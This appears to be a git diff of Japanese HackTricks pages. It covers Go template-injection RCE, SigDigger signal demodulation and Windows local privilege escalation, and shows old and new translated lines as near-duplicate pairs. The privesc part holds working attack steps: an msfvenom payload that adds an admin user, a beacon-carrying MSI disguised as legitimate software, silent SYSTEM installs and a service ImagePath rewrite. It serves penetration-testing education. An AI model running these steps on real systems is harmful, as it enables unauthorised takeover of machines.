GoにおけるSSTIを介したRCEでは、オブジェクトメソッドを呼び出すことができます。たとえば、提供されたオブジェクトにコマンドを実行する`System`メソッドがある場合、`{{ .System "ls" }}`のように悪用できます。これを悪用するには、通常ソースコードへのアクセスが必要です。
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
@ -972,15 +972,17 @@ return string(out)
### さらなるエクスプロイト
さらなるエクスプロイトについては [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) を確認してください。また、興味深いタグ情報は [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) で見つけることができます。
さらなるエクスプロイトについては[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)を確認してください。また、[https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)で興味深いタグ情報も見つけることができます。
## BlackHat PDF
{% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
{{#file}}
EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
{{#endfile}}
## 関連ヘルプ
立つと思う場合は、以下をお読みください:
役立つと思う場合は、以下をお読みください:
- [Flask tricks](../../network-services-pentesting/pentesting-web/flask.md)
- [Python magic functions](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)

View File

@ -4,7 +4,7 @@
## SigDigger
[**SigDigger** ](https://github.com/BatchDrake/SigDigger)は、未知の無線信号の情報を抽出するために設計された、GNU/LinuxおよびmacOS用の無料デジタル信号アナライザーです。SoapySDRを介してさまざまなSDRデバイスをサポートし、FSK、PSK、ASK信号の調整可能な復調、アナログビデオのデコード、バースト信号の分析、アナログ音声チャンネルのリアルタイムでの聴取を可能にします。
[**SigDigger** ](https://github.com/BatchDrake/SigDigger)は、GNU/LinuxおよびmacOS用の無料デジタル信号アナライザーで、未知の無線信号の情報を抽出するために設計されています。SoapySDRを介してさまざまなSDRデバイスをサポートし、FSK、PSK、ASK信号の可変デモジュレーション、アナログビデオのデコード、バースト信号の分析、アナログ音声チャンネルのリアルタイムリスニングを可能にします。
### Basic Config
@ -18,7 +18,7 @@ GUIの動作では、PCがサポートしている場合は、いくつかの設
![](<../../images/image (472).png>)
> [!NOTE]
> PCが情報をキャプチャしていない場合は、OpenGLを無効にし、サンプルレートを下げてみてください。
> PCが信号をキャプチャしていない場合は、OpenGLを無効にし、サンプルレートを下げてみてください。
### Uses
@ -26,7 +26,7 @@ GUIの動作では、PCがサポートしている場合は、いくつかの設
![](<../../images/image (960).png>)
- SigDiggerの**チューナー**は、**より良い信号をキャプチャする**のに役立ちますただし、信号を劣化させることもあります。理想的には0から始めて、**信号の改善よりも**ノイズの**増加が大きくなるまで**大きくしていきます。
- SigDiggerの**チューナー**は、**より良い信号をキャプチャする**のに役立ちますただし、信号を劣化させることもあります。理想的には0から始めて、**信号の改善よりも****ノイズの増加が大きくなるまで****大きくしていきます**
![](<../../images/image (1099).png>)
@ -38,7 +38,7 @@ GUIの動作では、PCがサポートしている場合は、いくつかの設
## Interesting tricks
- デバイスが情報のバーストを送信しているとき、通常、**最初の部分はプレアンブル**になるため、そこに**情報が見つからない場合やエラーがある場合**は**心配する必要はありません**。
- デバイスが情報のバーストを送信しているとき、通常、**最初の部分はプレアンブル**になるため、**情報が見つからない場合や**そこに**エラーがある場合は**心配する必要はありません**。
- 情報のフレームでは、通常、**異なるフレームが互いに整列しているのを見つけるべきです**
![](<../../images/image (1076).png>)
@ -51,20 +51,22 @@ GUIの動作では、PCがサポートしている場合は、いくつかの設
### Uncovering modulation type with IQ
信号に情報を格納する方法は3つあります**振幅**、**周波数**、または**位相**を変調します。\
信号をチェックしている場合、情報を格納するために何が使用されているかを特定するためのさまざまな方法があります(以下に他の方法があります)が、良い方法の1つはIQグラフを確認することです。
信号をチェックしている場合、情報を格納するために何が使用されているかを特定するためのさまざまな方法があります以下に他の方法がありますが、良い方法はIQグラフを確認することです。
![](<../../images/image (788).png>)
- **AMの検出**IQグラフに**2つの円**おそらく1つは0、もう1つは異なる振幅にあるを見つけた場合、これはAM信号である可能性があります。これは、IQグラフで0と円の間の距離が信号の振幅であるため、異なる振幅が使用されているのを視覚化しやすいからです。
- **AMの検出**IQグラフに**2つの円**おそらく1つは0、もう1つは異なる振幅にあるを見つけた場合、これはAM信号である可能性があります。これは、IQグラフで0と円の間の距離が信号の振幅であるため、異なる振幅が使用されているのを視覚化するのが簡単だからです。
- **PMの検出**前の画像のように、互いに関連しない小さな円を見つけた場合、位相変調が使用されている可能性があります。これは、IQグラフで、点と0,0の間の角度が信号の位相であるため、4つの異なる位相が使用されていることを意味します。
- 情報が位相の変化に隠されていて、位相自体には隠されていない場合、異なる位相が明確に区別されることはありません。
- **FMの検出**IQには周波数を識別するためのフィールドがありません中心からの距離は振幅で、角度は位相です。\
したがって、FMを識別するには、このグラフで**基本的に円だけを見る必要があります**。\
さらに、異なる周波数は、IQグラフによって**円を横切る速度の加速**で「表現」されますしたがって、SysDiggerで信号を選択するとIQグラフが生成され、生成された円の加速や方向の変化が見つかると、これはFMである可能性があります
さらに、異なる周波数は、IQグラフによって**円を横切る速度の加速**で「表現」されますしたがって、SysDiggerで信号を選択するとIQグラフが生成され、生成された円の加速や方向の変化を見つけると、これはFMである可能性があります
## AM Example
{% file src="../../images/sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw" %}
{{#file}}
sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
{{#endfile}}
### Uncovering AM
@ -80,15 +82,15 @@ GUIの動作では、PCがサポートしている場合は、いくつかの設
#### Checking the Histogram
情報がある信号全体を**選択**し、**振幅**モードと**選択**を選択して**ヒストグラム**をクリックできます。2つの明確なレベルのみが見つかることが観察できます。
情報がある信号全体を**選択**し、**振幅**モードと**選択**を選択して**ヒストグラム**をクリックできます。2つの明確なレベルだけが見つかることがわかります。
![](<../../images/image (264).png>)
たとえば、このAM信号で振幅の代わりに周波数を選択すると、1つの周波数しか見つかりません周波数で変調された情報が1つの周波数を使用していることはありません
たとえば、このAM信号で振幅の代わりに周波数を選択すると、1つの周波数しか見つかりません周波数で変調された情報が1つの周波数だけを使用していることはありません)。
![](<../../images/image (732).png>)
多くの周波数が見つかる場合、これはFMではない可能性が高く、信号の周波数はチャンネルの影響で変更された可能性があります。
多くの周波数を見つけた場合、これはFMではない可能性が高く、信号の周波数はチャンネルの影響で変更された可能性があります。
#### With IQ
@ -100,7 +102,7 @@ GUIの動作では、PCがサポートしている場合は、いくつかの設
#### With one symbol
見つけた最小のシンボルを選択しそれが1つだけであることを確認、"Selection freq"を確認します。この場合、1.013kHzつまり1kHzになります。
見つけた最小のシンボルを選択しそれが1つだけであることを確認するため)、"Selection freq"を確認します。この場合、1.013kHzつまり1kHzになります。
![](<../../images/image (78).png>)
@ -112,7 +114,7 @@ GUIの動作では、PCがサポートしている場合は、いくつかの設
### Get Bits
これは**AM変調**信号であり、**シンボルレート**が見つかり(この場合、何か上は1、何か下は0を意味することを知っているため、信号にエンコードされた**ビットを取得する**のは非常に簡単です。したがって、情報のある信号を選択し、サンプリングと決定を設定し、サンプルを押します(**振幅**が選択されていること、発見された**シンボルレート**が設定されていること、**Gadnerクロック回復**が選択されていることを確認してください):
これは**AM変調**信号であり、**シンボルレート**が見つかり(この場合、何かが上がると1、何かが下がると0を意味することを知っているため、信号にエンコードされた**ビットを取得するのは非常に簡単です**。したがって、情報のある信号を選択し、サンプリングと決定を設定し、サンプルを押します(**振幅**が選択されていること、発見された**シンボルレート**が設定されていること、**Gadnerクロック回復**が選択されていることを確認してください):
![](<../../images/image (965).png>)
@ -125,7 +127,7 @@ GUIの動作では、PCがサポートしている場合は、いくつかの設
![](<../../images/image (644).png>)
次に、SigDiggerに**情報を持つレベルの範囲**を理解させるために、**下のレベル**をクリックし、最大のレベルまでクリックを維持する必要があります:
次に、SigDiggerに**情報を持つレベルの範囲がどこにあるかを理解させるために、**低いレベル**をクリックし、最大レベルまでクリックを維持する必要があります:
![](<../../images/image (439).png>)
@ -135,13 +137,15 @@ GUIの動作では、PCがサポートしている場合は、いくつかの設
![](<../../images/image (276).png>)
信号がシンボルあたり1ビット以上たとえば2ビットを持っている場合、SigDiggerは**どのシンボルが**00、01、10、11であるかを知る方法がないため、異なる**グレースケール**を使用してそれぞれを表現します(ビットをコピーすると、**0から3の数字**を使用し、処理する必要があります)。
信号がシンボルあたり1ビット以上たとえば2ビットを持っている場合、SigDiggerは**どのシンボルが**00、01、10、11であるかを知る方法がないため、異なる**グレースケール**を使用してそれぞれを表現します(ビットをコピーすると、**0から3の数字**を使用しますので、処理する必要があります)。
また、**マンチェスター**などの**符号化**を使用し、**上+下**は**1または0**、**下+上**は1または0になる可能性があります。この場合、取得した上昇1と下降0を処理して、01または10のペアを0または1に置き換える必要があります。
また、**マンチェスター**などの**符号化**を使用し、**上+下**は**1または0**、**下+上**は1または0になることがあります。その場合、取得した上昇1と下降0を処理して、01または10のペアを0または1に置き換える必要があります。
## FM Example
{% file src="../../images/sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw" %}
{{#file}}
sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw
{{#endfile}}
### Uncovering FM
@ -167,11 +171,11 @@ FMで変調された情報を送信する信号の例
#### Checking the histogram
情報を持つ信号の周波数ヒストグラムを確認すると、2つの異なる信号を簡単に見ることができます
情報のある信号の周波数ヒストグラムを確認すると、2つの異なる信号を簡単に見ることができます
![](<../../images/image (871).png>)
この場合、**振幅ヒストグラム**を確認すると、**1つの振幅**しか見つからないため、**AMではない**ことがわかります(多くの振幅が見つかる場合、信号がチャンネルに沿って電力を失っている可能性があります):
この場合、**振幅ヒストグラム**を確認すると、**1つの振幅**しか見つからないため、**AMではない**ことがわかります(多くの振幅を見つけた場合、信号がチャンネルに沿って電力を失っている可能性があります):
![](<../../images/image (817).png>)
@ -183,7 +187,7 @@ FMで変調された情報を送信する信号の例
IQには周波数を識別するためのフィールドがありません中心からの距離は振幅で、角度は位相です。\
したがって、FMを識別するには、このグラフで**基本的に円だけを見る必要があります**。\
さらに、異なる周波数は、IQグラフによって**円を横切る速度の加速**で「表現」されますしたがって、SysDiggerで信号を選択するとIQグラフが生成され、生成された円の加速や方向の変化が見つかると、これはFMである可能性があります
さらに、異なる周波数は、IQグラフによって**円を横切る速度の加速**で「表現」されますしたがって、SysDiggerで信号を選択するとIQグラフが生成され、生成された円の加速や方向の変化を見つけると、これはFMである可能性があります
![](<../../images/image (81).png>)

View File

@ -8,7 +8,7 @@
### アクセストークン
**Windowsアクセストークンが何からない場合は、続行する前に以下のページを読んでください:**
**Windowsアクセストークンが何か分からない場合は、続行する前に以下のページを読んでください:**
{{#ref}}
access-tokens.md
@ -16,7 +16,7 @@ access-tokens.md
### ACLs - DACLs/SACLs/ACEs
**ACLs - DACLs/SACLs/ACEsに関する詳細情報は以下のページを確認してください:**
**ACLs - DACLs/SACLs/ACEsに関する詳細は以下のページを確認してください:**
{{#ref}}
acls-dacls-sacls-aces.md
@ -24,7 +24,7 @@ acls-dacls-sacls-aces.md
### 整合性レベル
**Windowsの整合性レベルが何からない場合は、続行する前に以下のページを読んでください:**
**Windowsの整合性レベルが何か分からない場合は、続行する前に以下のページを読んでください:**
{{#ref}}
integrity-levels.md
@ -112,9 +112,9 @@ Stop-Transcript
```
### PowerShell モジュール ロギング
PowerShell パイプラインの実行の詳細が記録され、実行されたコマンド、コマンドの呼び出し、およびスクリプトの一部が含まれます。ただし、完全な実行の詳細出力結果はキャプチャされない場合があります。
PowerShell パイプラインの実行の詳細が記録され、実行されたコマンド、コマンドの呼び出し、およびスクリプトの一部が含まれます。ただし、完全な実行の詳細出力結果はキャプチャされない場合があります。
これを有効にするには、ドキュメントの「トランスクリプトファイル」セクションの指示に従い、**"Module Logging"** を選択してください。**"Powershell Transcription"** の代わりに。
これを有効にするには、ドキュメントの「トランスクリプトファイル」セクションの指示に従い、**「モジュール ロギング」**を選択してください。**「PowerShell トランスクリプション」**の代わりに。
```bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
@ -127,14 +127,14 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
```
### PowerShell **Script Block Logging**
スクリプトの実行の完全なアクティビティと全内容の記録がキャプチャされ、実行されるコードの各ブロックが文書化されることが保証されます。このプロセスは、各アクティビティの包括的な監査証跡を保持し、フォレンジックや悪意のある行動の分析に役立ちます。実行時にすべてのアクティビティを文書化することにより、プロセスに関する詳細な洞察が提供されます。
スクリプトの実行の完全なアクティビティと全コンテンツの記録がキャプチャされ、実行されるコードの各ブロックが文書化されることが保証されます。このプロセスは、各アクティビティの包括的な監査証跡を保持し、フォレンジックや悪意のある行動の分析に役立ちます。実行時にすべてのアクティビティを文書化することにより、プロセスに関する詳細な洞察が提供されます。
```bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
```
スクリプトブロックのログイベントは、Windowsイベントビューアのパスにあります: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**。\
スクリプトブロックのログイベントは、Windowsイベントビューアのパス **Application and Services Logs > Microsoft > Windows > PowerShell > Operational** にあります。\
最後の20件のイベントを表示するには、次のコマンドを使用できます:
```bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
@ -158,7 +158,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
```
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
```
返信が次のような場合:
返信が次のような場合
```bash
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
@ -171,7 +171,9 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
ここで研究を読む:
{% file src="../../images/CTX_WSUSpect_White_Paper (1).pdf" %}
{{#file}}
CTX_WSUSpect_White_Paper (1).pdf
{{#endfile}}
**WSUS CVE-2020-1013**
@ -186,15 +188,15 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
## KrbRelayUp
**ローカル特権昇格** 脆弱性は、特定の条件下で Windows **ドメイン** 環境に存在します。これらの条件には、**LDAP 署名が強制されていない** 環境、ユーザーが **リソースベースの制約付き委任 (RBCD)** を構成する権を持っていること、およびユーザーがドメイン内でコンピュータを作成する能力が含まれます。これらの **要件****デフォルト設定** を使用して満たされることに注意が必要です。
**ローカル特権昇格**脆弱性は、特定の条件下で Windows **ドメイン** 環境に存在します。これらの条件には、**LDAP 署名が強制されていない**環境、ユーザーが **リソースベースの制約付き委任 (RBCD)** を構成する権を持っていること、およびユーザーがドメイン内でコンピュータを作成する能力が含まれます。これらの**要件**は、**デフォルト設定**を使用して満たされることに注意が必要です。
**エクスプロイトを見つける** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
**エクスプロイトを見つける**には [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
攻撃の流れについての詳細は[https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) を確認してください。
攻撃の流れについての詳細は [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) を確認してください。
## AlwaysInstallElevated
**これらの 2 つのレジスタが **有効** (値が **0x1**) の場合、任意の特権を持つユーザーは **インストール** (実行) `*.msi` ファイルを NT AUTHORITY\\**SYSTEM** として実行できます。
**これらの 2 つのレジスタが** **有効** (値が **0x1**) の場合、あらゆる特権のユーザーが **インストール** (実行) `*.msi` ファイルを NT AUTHORITY\\**SYSTEM** として実行できます。
```bash
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
@ -208,7 +210,7 @@ msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.ms
### PowerUP
`Write-UserAddMSI`コマンドをpower-upから使用して、現在のディレクトリ内にWindows MSIバイナリを作成し、特権を昇格させます。このスクリプトは、ユーザー/グループの追加を促すプリコンパイルされたMSIインストーラーを出しますそのため、GIUアクセスが必要です
`Write-UserAddMSI`コマンドをpower-upから使用して、現在のディレクトリ内に特権昇格用のWindows MSIバイナリを作成します。このスクリプトは、ユーザー/グループの追加を促す事前コンパイルされたMSIインストーラーを書き出しますそのため、GIUアクセスが必要です
```
Write-UserAddMSI
```
@ -216,7 +218,7 @@ Write-UserAddMSI
### MSI Wrapper
このツールを使用してMSIラッパーを作成する方法を学ぶためにこのチュートリアルを読んでください。**コマンドラインを実行**したいだけの場合は、"**.bat**"ファイルをラップできます。
このツールを使用してMSIラッパーを作成する方法を学ぶためにこのチュートリアルを読んでください。**コマンドラインを実行**したいだけの場合は、"**.bat**"ファイルをラップすることができます。
{{#ref}}
msi-wrapper.md
@ -232,13 +234,13 @@ create-msi-with-wix.md
- **Cobalt Strike**または**Metasploit**を使用して、`C:\privesc\beacon.exe`に**新しいWindows EXE TCPペイロード**を生成します。
- **Visual Studio**を開き、**新しいプロジェクトを作成**を選択し、検索ボックスに「installer」と入力します。**Setup Wizard**プロジェクトを選択し、**Next**をクリックします。
- プロジェクトに**AlwaysPrivesc**という名前を付け、場所に**`C:\privesc`**を使用し、**ソリューションとプロジェクトを同じディレクトリに配置**を選択し、**Create**をクリックします。
- **Next**をクリックし続けて、ステップ3の4(含めるファイルを選択)に到達します。**Add**をクリックし、先ほど生成したBeaconペイロードを選択します。次に、**Finish**をクリックします。
- プロジェクトに**AlwaysPrivesc**という名前を付け、場所に**`C:\privesc`**を使用し、**ソリューションとプロジェクトを同じディレクトリに配置**を選択し、**Create**をクリックします。
- **Next**をクリックし続け、4つのステップのうちの3ステップ目(含めるファイルを選択)に到達します。**Add**をクリックし、先ほど生成したBeaconペイロードを選択します。次に、**Finish**をクリックします。
- **Solution Explorer**で**AlwaysPrivesc**プロジェクトをハイライトし、**Properties**で**TargetPlatform**を**x86**から**x64**に変更します。
- **Author**や**Manufacturer**など、インストールされたアプリをより正当なものに見せるために変更できる他のプロパティもあります。
- プロジェクトを右クリックし、**View > Custom Actions**を選択します。
- **Install**を右クリックし、**Add Custom Action**を選択します。
- **Application Folder**をダブルクリックし、**beacon.exe**ファイルを選択して**OK**をクリックします。これにより、インストーラーが実行されるとすぐにbeaconペイロードが実行されることが保証されます。
- **Application Folder**をダブルクリックし、**beacon.exe**ファイルを選択して**OK**をクリックします。これにより、インストーラーが実行されるとすぐにビーコンペイロードが実行されることが保証されます。
- **Custom Action Properties**の下で、**Run64Bit**を**True**に変更します。
- 最後に、**ビルド**します。
- 警告`File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`が表示された場合は、プラットフォームをx64に設定していることを確認してください。
@ -249,7 +251,7 @@ create-msi-with-wix.md
```
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
```
この脆弱性を悪用するには、次を使用できます: _exploit/windows/local/always_install_elevated_
この脆弱性を悪用するには、次のものを使用できます: _exploit/windows/local/always_install_elevated_
## アンチウイルスと検出器
@ -275,27 +277,27 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
### WDigest
アクティブな場合、**平文のパスワードはLSASS**(ローカルセキュリティ認証サブシステムサービス)に保存されます。\
アクティブな場合、**平文のパスワードはLSASS**(ローカルセキュリティ権限サブシステムサービス)に保存されます。\
[**このページのWDigestに関する詳細情報**](../stealing-credentials/credentials-protections.md#wdigest)。
```bash
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
```
### LSA保護
**Windows 8.1**以降、Microsoftはローカルセキュリティ機関LSAの強化された保護を導入し、**信頼されていないプロセス**による**メモリの読み取り**やコードの注入を**ブロック**することで、システムのセキュリティをさらに強化しました。\
**Windows 8.1**以降、Microsoftはローカルセキュリティ機関LSAの強化された保護を導入し、信頼されていないプロセスによる**メモリの読み取り**やコードの注入を**ブロック**することで、システムのセキュリティをさらに強化しました。\
[**LSA保護に関する詳細はこちら**](../stealing-credentials/credentials-protections.md#lsa-protection)。
```bash
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
```
### Credentials Guard
**Credential Guard** は **Windows 10** で導入されました。その目的は、パス・ザ・ハッシュ攻撃のような脅威からデバイスに保存された資格情報を保護することです。| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard)
**Credential Guard** は **Windows 10** で導入されました。その目的は、デバイスに保存された資格情報を pass-the-hash 攻撃のような脅威から保護することです。| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard)
```bash
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
```
### キャッシュされた資格情報
**ドメイン資格情報**は、**ローカルセキュリティ機関**LSAによって認証され、オペレーティングシステムのコンポーネントによって利用されます。ユーザーのログオンデータが登録されたセキュリティパッケージによって認証されると、通常、ユーザーのためのドメイン資格情報が確立されます。\
**ドメイン資格情報**は、**ローカルセキュリティ機関**LSAによって認証され、オペレーティングシステムのコンポーネントによって利用されます。ユーザーのログオンデータが登録されたセキュリティパッケージによって認証されると、通常、ユーザーのドメイン資格情報が確立されます。\
[**キャッシュされた資格情報の詳細はこちら**](../stealing-credentials/credentials-protections.md#cached-credentials)。
```bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
@ -304,7 +306,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
### ユーザーとグループの列挙
所属しているグループの中に興味深い権限を持つものがないか確認する必要があります。
自分が所属するグループに興味深い権限があるかどうかを確認する必要があります。
```bash
# CMD
net users %username% #Me
@ -329,8 +331,8 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
### トークン操作
このページで**トークンとは何か**について**もっと学んでください**[**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens)。\
次のページをチェックして、**興味深いトークンについて学び**、それらを悪用する方法を確認してください:
このページで**トークン**とは何かについて**詳しく学んでください**[**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens)。\
次のページをチェックして、**興味深いトークン**について学び、それらを悪用する方法を確認してください:
{{#ref}}
privilege-escalation-abusing-tokens.md
@ -359,7 +361,7 @@ powershell -command "Get-Clipboard"
### ファイルとフォルダーの権限
まず、プロセスをリストアップして、**プロセスのコマンドライン内にパスワードがないか確認します**。\
**実行中のバイナリを上書きできるか**、またはバイナリフォルダーの書き込み権限があるかを確認して、可能な[**DLL Hijacking attacks**](dll-hijacking/index.html)を悪用します:
実行中のバイナリを**上書きできるか**、またはバイナリフォルダーの書き込み権限があるかを確認して、可能な[**DLL Hijacking attacks**](dll-hijacking/index.html)を悪用します:
```bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
@ -381,7 +383,7 @@ icacls "%%z"
)
)
```
**プロセスバイナリのフォルダの権限を確認する (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
**プロセスバイナリのフォルダの権限を確認する (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
```bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
@ -436,7 +438,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
_システムエラー1058が発生しました。_\
&#xNAN;_&#x54;サービスは無効になっているか、関連付けられた有効なデバイスがないため、開始できません。_
次のようにして有効にできます。
次の方法で有効にできます。
```bash
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
@ -472,7 +474,7 @@ net stop [service name] && net start [service name]
### サービスバイナリの弱い権限
**サービスによって実行されるバイナリを変更できるかどうか**、または**バイナリが存在するフォルダーに対して書き込み権限があるかどうかを確認してください**[**DLL Hijacking**](dll-hijacking/index.html)**。**\
**サービスによって実行されるバイナリを変更できるか、またはバイナリが存在するフォルダーに** **書き込み権限** **があるかを確認してください** ([**DLL Hijacking**](dll-hijacking/index.html))**。**\
サービスによって実行されるすべてのバイナリを取得するには、**wmic**system32ではないを使用し、**icacls**を使用して権限を確認できます:
```bash
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
@ -503,9 +505,9 @@ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "
```bash
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
```
### サービスレジストリのAppendData/AddSubdirectory権限
### サービスレジストリ AppendData/AddSubdirectory 権限
この権限を持っている場合、これは**このレジストリからサブレジストリを作成できることを意味します**。Windowsサービスの場合、これは**任意のコードを実行するのに十分です:**
この権限を持っている場合、**このレジストリからサブレジストリを作成できる**ことを意味します。Windows サービスの場合、これは**任意のコードを実行するのに十分です:**
{{#ref}}
appenddata-addsubdirectory-permission-over-service-registry.md
@ -513,9 +515,9 @@ appenddata-addsubdirectory-permission-over-service-registry.md
### 引用されていないサービスパス
実行可能ファイルへのパスが引用符内にない場合、Windowsはスペースの前にあるすべての終了を実行しようとします。
実行可能ファイルへのパスが引用符内にない場合、Windows はスペースの前のすべての終了を実行しようとします。
例えば、パス _C:\Program Files\Some Folder\Service.exe_ の場合、Windowsは次のように実行しようとします
例えば、パス _C:\Program Files\Some Folder\Service.exe_ の場合、Windows は次のように実行しようとします:
```powershell
C:\Program.exe
C:\Program Files\Some.exe
@ -553,7 +555,7 @@ Windowsは、サービスが失敗した場合に実行されるアクション
### Installed Applications
**バイナリの権限**を確認してくださいもしかしたら、1つを上書きして特権を昇格できるかもしれませんおよび**フォルダー**の権限を確認してください[DLL Hijacking](dll-hijacking/index.html))。
**バイナリの権限**を確認してくださいもしかしたら、1つを上書きして特権を昇格できるかもしれませんおよび**フォルダー**の権限([DLL Hijacking](dll-hijacking/index.html))。
```bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
@ -632,7 +634,7 @@ net share #Check current shares
```
### hosts file
ホストファイルにハードコーディングされた他の既知のコンピュータを確認します。
hostsファイルにハードコーディングされた他の既知のコンピュータを確認します。
```
type C:\Windows\System32\drivers\etc\hosts
```
@ -660,9 +662,9 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
```
### ファイアウォールルール
[**ファイアウォール関連のコマンドについてはこのページを確認してください**](../basic-cmd-for-pentesters.md#firewall) **(ルールのリスト、ルールの作成、オフにする、オフにする...)**
[**ファイアウォール関連のコマンドについてはこのページを確認してください**](../basic-cmd-for-pentesters.md#firewall) **(ルールのリスト、ルールの作成、無効化、無効化...)**
さらに[ネットワーク列挙のためのコマンドはこちら](../basic-cmd-for-pentesters.md#network)
More[ ネットワーク列挙のためのコマンドはこちら](../basic-cmd-for-pentesters.md#network)
### Windows Subsystem for Linux (wsl)
```bash
@ -671,7 +673,7 @@ C:\Windows\System32\wsl.exe
```
バイナリ `bash.exe``C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` にも見つけることができます。
ルートユーザーを取得すると、任意のポートでリスできます(`nc.exe` を使用してポートでリスする最初の時に、GUIを通じて `nc` がファイアウォールによって許可されるべきかどうか尋ねられます)。
ルートユーザーを取得すると、任意のポートでリスンできます(`nc.exe` を使用してポートでリスンする最初の時に、GUIを通じて `nc` がファイアウォールによって許可されるべきかどうか尋ねられます)。
```bash
wsl whoami
./ubuntun1604.exe config --default-user root
@ -682,9 +684,9 @@ bashをrootとして簡単に起動するには、`--default-user root`を試す
`WSL`ファイルシステムは、フォルダー`C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\`で探索できます。
## Windowsの資格情報
## Windows Credentials
### Winlogonの資格情報
### Winlogon Credentials
```bash
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
@ -699,13 +701,13 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
### Credentials manager / Windows vault
